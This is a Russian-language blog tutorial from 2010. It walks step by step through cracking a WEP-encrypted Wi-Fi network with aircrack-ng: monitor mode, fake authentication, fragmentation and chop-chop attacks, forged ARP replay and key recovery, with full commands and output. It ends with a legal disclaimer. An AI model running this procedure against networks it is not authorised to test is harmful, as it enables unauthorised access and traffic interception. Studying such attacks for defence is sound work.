21 May 2010

Практическая атака на беспроводную сеть с WEP шифрованием

Information Security
Теорию и процесс атаки хорошо описал юзер n3m0 в статьях «Атаки на беспроводные сети». Но практика там описана достаточно слабо.

В данной статье будет описан практический процесс атаки на беспроводную сеть с шифрованием WEP, используя пакет aircrack-ng и операционную систему OpenSuse.
image image

Программы


Данный пакет находится в репозитариях практически всех ОС GNU/Linux. Есть портированная под Windows версия, однако в связи с лучшей поддержкой драйверов в Linux, была выбрана именно данная операционная система.
Установка
# zypper in aircrack-ng

После установки возник вопрос с аппаратной частью. А именно — встроенный в ноутбук Wi-Fi адаптер категорически отказался связываться с точкой по причине низкого уровня сигнала. В результате чего — был взят USB-адаптер TrendNet TEW-424UB.
# lsusb | grep Net
Bus 001 Device 002: ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter


Драйвера адаптера замечательно поддерживают airodump, и для aireplay не пришлось накладывать патч для mac80211.
Ссылка на сайт с совместимостью драйверов
dmesg сообщает нам, что автоматически данный адаптер не поднялся, но нам собственно и не надо:
[ 2609.580074] rtl8187: Customer ID is 0x00
[ 2609.580144] Registered led device: rtl8187-phy1::tx
[ 2609.580171] Registered led device: rtl8187-phy1::rx
[ 2617.830502] ADDRCONF(NETDEV_UP): wlan0: link is not ready


Сканирование диапазона
Запускаем адаптер в режиме мониторинга.
# airmon-ng start wlan0

Interface Chipset Driver

eth1 Intel 2200BG ipw2200
wlan0 RTL8187 rtl8187 - [phy1]
(monitor mode enabled on mon0)


Взломом занимается виртуальный адаптер mon0. Оригинальный же адаптер по прежнему находится в режиме management.
# iwconfig wlan0
wlan0 IEEE 802.11bg ESSID:""
Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated
# iwconfig mon0
mon0 IEEE 802.11bg Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm


Теперь запускаем процесс сканирования доступных беспроводных сетей.
# airodump-ng mon0
image
Поля в клиенте означают следующее:
  • BSSID — MAC адрес точки доступа
  • PWR — уровень сигнала
  • Beacons — число служебных пакетов от точки доступа (по росту их числа можно косвенно следить за качеством связи)
  • #Data — число пойманных пакетов с данными
  • CH — номера канала на котором находится точка доступа
  • MB — скорость передачи данных
  • ENC — алгоритм шифрования
  • CIPHER — тип шифрования
  • AUTH — тип авторизации
  • ESSID — название точки доступа
  • STATION — MAC адрес клиента
  • Probes — названия сетей с которыми пытался соединиться клиент

Мы будем пытаться найти уязвимость в сети ESSID. Как видно — она находится на 6 канале. Можно просто указать параметр -c 6 для airodump-ng, но для обучения погасим адаптер и принудительно выставим его на 6 канал:
# airmon-ng stop mon0
mon0 RTL8187 rtl8187 - [phy1] (removed)
# airmon-ng start wlan0 6
wlan0 RTL8187 rtl8187 - [phy1]
(monitor mode enabled on mon0)


В связи с тем, что каналы Wi-Fi сетей частично перекрываются
image
и настроив на определенный канал, мы получим еще и соседние точки доступа, принудительно выставим использование только определенной частоты и сделаем фильтрацию по BSSID. Параметром -w включается, куда писать пойманные данные.
# airodump-ng -c 6 --bssid 00:1B:11:E7:DD:D5 -w essid.out mon0

Дальше можно либо сидеть и ждать, пока наберется достаточное количество пакетов с данными и переходить непосредственно к подбору ключа, либо использовать активные атаки.

Активные атаки.
Во первых для проверки того, что точка видит наши пакеты и драйвера поддерживают все функции можно попробовать аутентифицироваться на точке. В случае, если клиент не аутентифицирован — то точка не будет принимать его пакеты. Пробуем аутентифицироваться:

# aireplay-ng -1 0 -e ESSID mon0
No source MAC (-h) specified. Using the device MAC (00:14:D1:30:7F:46)
19:30:28 Waiting for beacon frame (ESSID: ESSID) on channel 6
Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".
19:30:28 Sending Authentication Request (Open System) [ACK]
19:30:28 Authentication successful
19:30:28 Sending Association Request [ACK]
19:30:28 Association successful :-) (AID: 1)


Заодно проверим работоспособность инъекций.
# aireplay-ng -9 -e ESSID mon0
19:31:35 Waiting for beacon frame (ESSID: ESSID) on channel 6
Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".
19:31:35 Trying broadcast probe requests...
19:31:35 Injection is working!
19:31:36 Found 1 AP
19:31:36 Trying directed probe requests...
19:31:36 00:1B:11:E7:DD:D5 - channel: 6 - 'ESSID'
19:31:37 Ping (min/avg/max): 0.771ms/6.558ms/11.080ms Power: -48.50
19:31:37 30/30: 100%


Успешно. Значит мы можем использовать для данной точки активные атаки.
Деассоциировать имеющегося клиента часто не стоит — можно открыть факт атаки. Поэтому мы будем использовать fragmentation attack.
# aireplay-ng -5 -b 00:1B:11:E7:DD:D5 mon0
No source MAC (-h) specified. Using the device MAC (00:14:D1:30:7F:46)
19:37:26 Waiting for beacon frame (BSSID: 00:1B:11:E7:DD:D5) on channel 6
19:37:26 Waiting for a data packet...
Read 362 packets...


Логично, что если точка обладает хотя бы минимальными функциями, то в ней есть CAM таблица и к нам придет широковещательный пакет
Size: 277, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:1B:11:E7:DD:D5
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:22:43:01:C6:7F

0x0000: 0842 0000 ffff ffff ffff 001b 11e7 ddd5 .B..............
0x0010: 0022 4301 c67f 8009 3a1f 0000 0eb0 723b ."C....:.....r;
0x0020: c25a 0453 0691 0afa 5ae3 4365 c309 9094 .Z.S....Z.Ce....
0x0030: b0f9 90a9 65bf 1785 9f0a 65fa ba5a cb7d ....e.....e..Z.}
0x0040: f357 7167 c133 1efd ca2e 4ec9 9133 ea20 .Wqg.3....N..3.
0x0050: e508 c7af fce3 bbf3 599d c4a9 e01d 5e4f ........Y.....^O
0x0060: 88e8 9997 a5ef 3f0f 058f 3c8a 100f d667 ......?...<....g
0x0070: 2f0f 9f47 a3b0 f4cd 25f8 2cd4 af9e 157c /..G....%.,....|
0x0080: c456 5232 6903 eb5b e935 5dd2 9816 f94c .VR2i..[.5]....L
0x0090: 18ab ea4c aabd 11ed 41a3 88c9 a5ac 726c ...L....A.....rl
0x00a0: 3b81 024c 5cfe 24d9 78a5 339b 02aa e147 ;..L\.$.x.3....G
0x00b0: eeb2 512c 1d52 aaa0 2992 88a7 be2a cd6d ..Q,.R..)....*.m
0x00c0: ab44 3248 619c 2402 8cda 621e ed9c 9109 .D2Ha.$...b.....
0x00d0: 62e9 23f7 be38 5f6f bfc9 da45 310a 6957 b.#..8_o...E1.iW
--- CUT ---

Use this packet ? Y

Saving chosen packet in replay_src-0427-193751.cap
19:38:22 Data packet found!
19:38:22 Sending fragmented packet
19:38:23 No answer, repeating...
19:38:23 Trying a LLC NULL packet
19:38:23 Sending fragmented packet
19:38:25 Not enough acks, repeating...
19:38:25 Trying a LLC NULL packet
19:38:25 Sending fragmented packet
19:38:27 No answer, repeating...
19:38:27 Sending fragmented packet
19:38:27 Got RELAYED packet!!
19:38:27 Trying to get 384 bytes of a keystream
19:38:27 Not enough acks, repeating...
19:38:27 Trying to get 384 bytes of a keystream
19:38:28 No answer, repeating...
19:38:28 Trying to get 384 bytes of a keystream
19:38:28 Trying a LLC NULL packet
19:38:28 Not enough acks, repeating...
19:38:28 Trying to get 384 bytes of a keystream
19:38:28 Trying a LLC NULL packet
19:38:30 No answer, repeating...
19:38:30 Trying to get 384 bytes of a keystream
19:38:30 Got RELAYED packet!!
19:38:30 Trying to get 1500 bytes of a keystream
19:38:30 Got RELAYED packet!!
Saving keystream in fragment-0427-193830.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream


Точка поддерживает fragmentation атаку. В случае, если данная атака не поддерживается — пробуем использовать метод, предложенный korak'ом, называемый chop-chop.
# aireplay-ng -4 -e ESSID mon0
19:42:08 Waiting for beacon frame (ESSID: ESSID) on channel 6
Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".
Read 182 packets...

Size: 86, FromDS: 1, ToDS: 0 (WEP)
.....
Use this packet ? y
Saving chosen packet in replay_src-0427-194221.cap

Offset 85 ( 0% done) | xor = D5 | pt = BF | 838 frames written in 14259ms
Offset 84 ( 1% done) | xor = 9B | pt = 57 | 1293 frames written in 21971ms
Offset 83 ( 3% done) | xor = 92 | pt = A8 | 2567 frames written in 43637ms


можно увидеть насколько время подбора у меня выше, чем время на сайте из-за низкого сигнала до точки. С сайта aircrack:
Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms
Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms
Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms


В результате использования обоих методов, мы получаем xor-файл, в котором содержится PRGA (pseudo random generation algorithm). Теперь мы можем сделать поддельный arp-запрос и использовать его для того, чтобы набрать необходимое число пакетов с данными.
# packetforge-ng -0 -a 00:1B:11:E7:DD:D5 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0427-193830.xor -w arp-request
Wrote packet to: arp-request


Теперь отправим данный пакет в сеть.
# aireplay-ng -2 -r arp-request mon0
No source MAC (-h) specified. Using the device MAC (00:14:D1:30:7F:46)

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:1B:11:E7:DD:D5
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:09:5B:EC:EE:F2

0x0000: 0841 0201 001b 11e7 ddd5 0009 5bec eef2 .A..........[...
0x0010: ffff ffff ffff 8001 471f 0000 548b 4dde ........G...T.M.
0x0020: 5747 3254 b5ff 7b7d b389 dbe9 7a9e 389c WG2T..{}....z.8.
0x0030: ce3e 85a3 384f 2858 b612 8532 b57e f3ad .>..8O(X...2.~..
0x0040: 420c 26b8 B.&.

Use this packet ? y
Saving chosen packet in replay_src-0427-195956.cap
You should also start airodump-ng to capture replies.

Sent 1301 packets...(500 pps)


При этом должно резко возрасти количество принимаемых пакетов с данными от точки. У меня не возросло. Странно. Попробуем работоспособность инъекций
# aireplay-ng -9 -e ESSID mon0
20:02:47 Waiting for beacon frame (ESSID: ESSID) on channel 6
Found BSSID "00:1B:11:E7:DD:D5" to given ESSID "ESSID".
20:02:47 Trying broadcast probe requests...
20:02:48 Injection is working!
20:02:48 Found 1 AP

20:02:48 Trying directed probe requests...
20:02:48 00:1B:11:E7:DD:D5 - channel: 6 - 'ESSID'
20:02:49 Ping (min/avg/max): 0.796ms/6.685ms/10.849ms Power: -48.67
20:02:49 27/30: 90%


Работает. Попробуем переделать arp-запрос, чтобы он исходил как-бы из реальной сети. Обычно пользователи оставляют стандартные адреса 192.168.1.1/24. Используем этот адрес в качестве опрашиваемого. Заодно перезапустим airodump
# packetforge-ng -0 -a 00:1B:11:E7:DD:D5 -h 00:09:5B:EC:EE:F2 -k 192.168.1.1 -l 192.168.1.250 -y fragment-0427-193830.xor -w arp-request1
Wrote packet to: arp-request1
# aireplay-ng -2 -r arp-request1 mon0
.......
Sent 799 packets...(499 pps)


image

Вот теперь заработало. Число получаемых пакетов под 300 в секунду.
Меньше, чем через 3 минуты 30 000 пакетов с данными. Попробуем подобрать ключ.
# aircrack-ng essid.out-0*.cap
Opening essid.out-01.cap
Opening essid.out-02.cap
Reading packets, please wait...

Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 37621 ivs.
KEY FOUND! [ 51:81:82:41:07 ]
Decrypted correctly: 100%


Забиваем ключ в клиент. Ура, подключились. Теперь можно сделать arp-spoofing и прослушать траффик — но это уже для следующей статьи.

Данная информация приведена только для ознакомления. Автор напоминает вам о Статье 272 УК РФ «Неправомерный доступ к компьютерной информации»
Tags:wi-fiбеспроводные сетивзломwep
Hubs: Information Security
+88
23.5k 271
Comments 57